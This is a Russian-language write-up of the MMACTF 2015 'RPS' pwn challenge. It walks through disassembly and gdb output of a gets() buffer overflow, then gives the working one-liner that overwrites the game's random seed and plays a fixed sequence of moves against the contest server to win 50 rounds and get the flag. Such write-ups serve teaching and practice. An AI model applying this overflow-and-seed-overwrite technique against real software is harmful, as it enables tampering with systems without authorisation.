RPS (pwn) MMACTF 2015 Write-Up

Сам бинарник - https://yadi.sk/d/r4AkxWoWj3bhC
Смотрим, что это за бинарь

$ file rps
rps: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8811962c746e1d068a5fa5b4deb7cb043c30146f, not stripped

И чего от нас хотят
$ ./rps
What's your name: kidcrash
Hi, kidcrash
Let's janken
Game 1/50
Rock? Paper? Scissors? [RPS]


Судя по всему, нужно 50 раз выиграть в камень-ножницы-бумага. Исходя из здравого смысла и того, что задача из категории pwn, нужно попытаться как-то считерить, а не верно угадывать 50 раз подряд.

Пробуем скормить в качестве юзернейма какой-нибудь относительно длинный мусор:
$ python -c "print('A'*100)" | ./rps
What's your name: Hi, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Let's janken
Game 1/50
Rock? Paper? Scissors? [RPS]Bye bye
Segmentation fault


Вероятно, bof в имени.


.text:0000000000400806                 push    rbp
.text:0000000000400807                 mov     rbp, rsp
.text:000000000040080A                 sub     rsp, 50h
.text:000000000040080E                 mov     esi, offset modes ; "r"
.text:0000000000400813                 mov     edi, offset filename ; "/dev/urandom"
.text:0000000000400818                 call    _fopen
.text:000000000040081D                 mov     [rbp+stream], rax
.text:0000000000400821                 mov     rdx, [rbp+stream]
.text:0000000000400825                 lea     rax, [rbp+ptr]
.text:0000000000400829                 mov     rcx, rdx        ; stream
.text:000000000040082C                 mov     edx, 1          ; n
.text:0000000000400831                 mov     esi, 4          ; size
.text:0000000000400836                 mov     rdi, rax        ; ptr
.text:0000000000400839                 call    _fread
.text:000000000040083E                 mov     rax, [rbp+stream]
.text:0000000000400842                 mov     rdi, rax        ; stream
.text:0000000000400845                 call    _fclose
.text:000000000040084A                 mov     edi, offset format ; "What's your name: "
.text:000000000040084F                 mov     eax, 0
.text:0000000000400854                 call    _printf
.text:0000000000400859                 mov     rax, cs:stdout@@GLIBC_2_2_5
.text:0000000000400860                 mov     rdi, rax        ; stream
.text:0000000000400863                 call    _fflush
.text:0000000000400868                 lea     rax, [rbp+s]
.text:000000000040086C                 mov     rdi, rax        ; s
.text:000000000040086F                 call    _gets
.text:0000000000400874                 lea     rax, [rbp+s]
.text:0000000000400878                 mov     rsi, rax
.text:000000000040087B                 mov     edi, offset aHiS ; "Hi, %s\n"
.text:0000000000400880                 mov     eax, 0
.text:0000000000400885                 call    _printf



Видим, что используется gets (отсюда bof) и до этого из /dev/urandom берется seed для srand.


[-------------------------------------code-------------------------------------]
   0x40082c <main+38>:	mov    edx,0x1
   0x400831 <main+43>:	mov    esi,0x4
   0x400836 <main+48>:	mov    rdi,rax
=> 0x400839 <main+51>:	call   0x400650 <fread@plt>
   0x40083e <main+56>:	mov    rax,QWORD PTR [rbp-0x18]
   0x400842 <main+60>:	mov    rdi,rax
   0x400845 <main+63>:	call   0x400660 <fclose@plt>
   0x40084a <main+68>:	mov    edi,0x400b97
Guessed arguments:
arg[0]: 0x7fffffffdd60 --> 0x400af0 (<__libc_csu_init>:	push   r15)
arg[1]: 0x4 
arg[2]: 0x1 
arg[3]: 0x602010 --> 0xfbad2488 



[-------------------------------------code-------------------------------------]
   0x400863 <main+93>:	call   0x4006e0 <fflush@plt>
   0x400868 <main+98>:	lea    rax,[rbp-0x50]
   0x40086c <main+102>:	mov    rdi,rax
=> 0x40086f <main+105>:	call   0x4006d0 <gets@plt>
   0x400874 <main+110>:	lea    rax,[rbp-0x50]
   0x400878 <main+114>:	mov    rsi,rax
   0x40087b <main+117>:	mov    edi,0x400baa
   0x400880 <main+122>:	mov    eax,0x0
Guessed arguments:
arg[0]: 0x7fffffffdd30 --> 0x7ffff7ffe148 --> 0x0 


Далее можно заметить, что юзернейм записывается по адресу меньшему, чем адрес, куда пишется seed. Т.е. есть возможность его переписать, тем самым узнать выбрать для себя заранее последовательность действий (которая полностью зависит от seed-а).

0x7fffffffdd60-0x7fffffffdd30=0x30=48


Перезаписываем seed:
(python -c "print('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x01\x00\x00\x00\x00\x00\x00\x00\n' + 'S\n'*100)") | ./rps


Далее я просто выбирал действие, которое было выигрышным в данной игре (при каждом запуске выбираются те же самые действия) и в итоге имеем:

(python -c "print('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x01\x00\x00\x00\x00\x00\x00\x00\n' + 'S\n'*2 + 'P\n' + 'S\n' + 'R\n' + 'S\n' + 'S\n' + 'P\n' + 'P\n' + 'S\n' + 'R\n' + 'S\n' + 'R\n' + 'S\n' + 'R\n' + 'S\n' + 'P\n' + 'P\n' + 'S\n'*2 + 'R\n'*2 + 'P\n'*2 + 'R\n'*3 + 'S\n'*3 + 'R\n' + 'P\n' + 'P\n'*2 + 'R\n' + 'P\n' + 'S\n'*4 + 'P\n'*3 + 'R\n'*2 + 'S\n' + 'R\n'*3 + 'P\n' + 'S\n'*100)") | nc milkyway.chal.mmactf.link 1641



...
Game 43/50
Rock? Paper? Scissors? [RPS]Paper-Rock
You win!!
Game 44/50
Rock? Paper? Scissors? [RPS]Rock-Scissors
You win!!
Game 45/50
Rock? Paper? Scissors? [RPS]Rock-Scissors
You win!!
Game 46/50
Rock? Paper? Scissors? [RPS]Scissors-Paper
You win!!
Game 47/50
Rock? Paper? Scissors? [RPS]Rock-Scissors
You win!!
Game 48/50
Rock? Paper? Scissors? [RPS]Rock-Scissors
You win!!
Game 49/50
Rock? Paper? Scissors? [RPS]Rock-Scissors
You win!!
Game 50/50
Rock? Paper? Scissors? [RPS]Paper-Rock
You win!!
Congrats AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!!!!
MMA{treed_three_girls}
скачать dle 10.5фильмы бесплатно

  • Автор: kidcrash
  • Комментарии: 0
  • Просмотры: 2601

Добавить комментарий

Вы не авторизованы и вам запрещено писать комментарии. Для расширенных возможностей зарегистрируйтесь!